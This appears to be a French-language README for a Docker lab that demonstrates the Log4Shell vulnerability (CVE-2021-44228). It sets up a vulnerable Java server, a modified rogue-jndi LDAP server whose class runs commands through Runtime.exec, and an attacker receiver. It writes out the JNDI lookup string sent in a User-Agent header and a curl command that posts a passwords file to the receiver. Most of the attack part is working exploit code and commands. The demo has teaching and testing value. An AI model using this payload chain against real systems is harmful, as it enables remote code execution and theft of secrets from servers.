
Une démonstration simple de CVE-2021-44228 pour transférer des données d'un serveur vulnérable vers un service web contrôlé par un attaquant. Tous les composants impliqués fonctionnent via Docker.
Il s'agit d'un serveur Java standard agissant comme la victime. Il exécute :
8u111Ce serveur est VULNÉRABLE avec cette configuration.
Informations supplémentaires :
/logging (GET) journalisera le user agent en utilisant Log4J/foo/passwords.txt existe (la cible de l'attaquant)Contenu de passwords.txt :
my secret
Il s'agit d'un serveur Java standard agissant comme le collecteur de données de l'attaquant. Il exécute :
17Informations supplémentaires :
receiver (POST) journalisera le corps de la requêteIl s'agit d'un serveur LDAP propulsé par rogue-jndi.
Sa classe ExportJava a été modifiée afin que les commandes passées via le drapeau -c soient exécutées.
public ExportObject() {
try {
Runtime.getRuntime().exec(Config.command);
} catch(Exception e) {
e.printStackTrace();
}
}
Lorsqu'il est sollicité par le serveur vulnérable, il répondra avec une classe exécutant la commande suivante lors de l'instanciation :
curl -XPOST http://172.18.18.11:8082/receiver --data-binary @/foo/passwords.txt
Cela publiera effectivement le contenu de /foo/passwords.txt vers le point d'accès préparé du récepteur malveillant.
./build.sh
./start.sh
curl -A '${jndi:ldap://172.18.18.10/o=reference}' localhost:8081/logging
docker logs --timestamps docker_malicious-receiver_1
passwords.txt du serveur devrait s'y trouver../stop.sh